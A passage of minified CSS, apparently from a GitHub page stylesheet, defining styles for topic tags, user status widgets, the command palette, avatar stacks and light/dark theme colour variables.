.task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI 